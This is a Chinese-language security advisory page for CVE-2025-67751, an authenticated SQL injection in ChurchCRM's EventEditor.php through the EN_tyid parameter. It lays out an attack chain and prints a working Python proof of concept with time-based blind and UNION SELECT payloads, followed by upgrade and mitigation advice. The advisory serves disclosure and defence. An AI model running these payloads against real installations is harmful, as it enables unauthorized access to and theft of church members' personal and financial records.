IPBUF安全漏洞报告
English
CVE-2025-67751 CVSS 7.2 高危

CVE-2025-67751 ChurchCRM EventEditor.php SQL注入漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-67751
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMCVE-2025-67751Web应用安全数据库安全权限提升EventEditor.php认证用户漏洞

漏洞概述

ChurchCRM是一款开源的教堂管理系统,广泛应用于各类宗教组织用于管理教区信息、活动安排、会员档案等重要数据。该系统基于Web架构开发,提供事件管理、捐赠追踪、通讯录管理等功能。然而在6.5.0版本之前,ChurchCRM的EventEditor.php文件中存在一个严重的SQL注入漏洞。该漏洞源于系统对用户输入的EN_tyid POST参数缺乏充分的输入验证和过滤,攻击者可以通过构造恶意SQL语句,利用已认证用户的事件管理权限执行任意数据库操作。CVSS评分7.2分,属于高危漏洞,成功利用可导致敏感数据泄露、数据库篡改,甚至可能通过数据库操作进一步获取服务器权限。由于该漏洞需要认证后才能利用,攻击门槛相对较高,但仍对使用受影响版本系统的组织构成严重威胁。建议管理员立即升级到6.5.0或更高版本,并检查系统日志是否存在异常数据库查询行为。

技术细节

漏洞存在于ChurchCRM的EventEditor.php文件中,具体位于事件创建功能模块。当用户创建新事件并选择事件类型时,系统通过POST请求接收EN_tyid参数,该参数用于指定事件类型ID。问题在于程序直接将该参数值代入SQL查询语句,而未进行任何形式的输入过滤或参数化查询处理。攻击者利用此漏洞可通过构造包含SQL特殊字符和命令的EN_tyid参数值,突破原本的查询逻辑,执行任意SQL命令。例如,攻击者可以使用UNION SELECT、INSERT、UPDATE或DELETE语句对数据库进行增删改查操作。成功利用此漏洞需要满足以下条件:1)攻击者拥有有效的系统账户;2)账户具备事件管理权限(isAddEvent权限);3)能够向EventEditor.php发送精心构造的POST请求。由于SQL注入发生在服务器端数据库交互层,攻击者可以直接从数据库中提取用户密码哈希、财务信息等敏感数据,或者修改现有记录造成业务混乱。修复后的6.5.0版本采用了参数化查询方式,彻底杜绝了此类注入风险。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的ChurchCRM系统版本,确认其低于6.5.0版本
STEP 2
获取访问权限
攻击者通过钓鱼、弱口令爆破或社工手段获取有效的ChurchCRM用户账户,该账户需具备事件管理权限(isAddEvent权限)
STEP 3
构造恶意请求
攻击者构造包含SQL注入载荷的POST请求,针对EventEditor.php的EN_tyid参数注入恶意SQL语句
STEP 4
执行注入攻击
通过发送精心构造的请求,攻击者突破原本的SQL查询逻辑,执行任意数据库命令
STEP 5
数据窃取或破坏
根据攻击目的,利用注入漏洞提取敏感数据(如用户信息、财务记录)、修改数据库内容或进一步扩大攻击面

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67751 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.0 # Location: EventEditor.php, parameter: EN_tyid import requests import sys TARGET_URL = "http://target-server/churchrm/EventEditor.php" LOGIN_URL = "http://target-server/churchrm/SessionLogin.php" def login(session, username, password): """Authenticate to ChurchCRM""" data = { "UserBox": username, "Password": password } response = session.post(LOGIN_URL, data=data) return "Login successful" in response.text def exploit_sql_injection(session): """Exploit SQL injection in EN_tyid parameter""" # Basic injection to confirm vulnerability # This payload causes a time-based blind injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" data = { "EN_tyid": payload, "Action": "Add", "EN_id": "0", "EN_title": "Test Event", "EN_date": "2025-01-01" } try: response = session.post(TARGET_URL, data=data, timeout=10) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - vulnerability confirmed!") return True return False def extract_data(session): """Extract database version using UNION-based injection""" payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL---" data = { "EN_tyid": payload, "Action": "Add", "EN_id": "0", "EN_title": "Test", "EN_date": "2025-01-01" } response = session.post(TARGET_URL, data=data) return response.text if __name__ == "__main__": session = requests.Session() # Step 1: Login with valid credentials if not login(session, "admin", "password"): print("[!] Authentication failed") sys.exit(1) print("[+] Logged in successfully") # Step 2: Test for SQL injection if exploit_sql_injection(session): print("[+] SQL injection vulnerability confirmed!") # Step 3: Extract data result = extract_data(session) print(f"[+] Database response: {result[:500]}")

影响范围

ChurchCRM < 6.5.0

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)限制具有事件管理权限的账户数量,并使用强密码策略;2)在Web应用防火墙(WAF)上配置SQL注入检测规则,拦截包含可疑SQL语法的请求;3)临时禁用事件创建功能,待正式补丁发布后再恢复;4)加强对系统访问日志的监控,及时发现异常请求模式;5)考虑使用数据库防火墙产品增加额外的安全防护层。但这些措施仅为临时解决方案,无法从根本上消除代码层面的安全缺陷,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表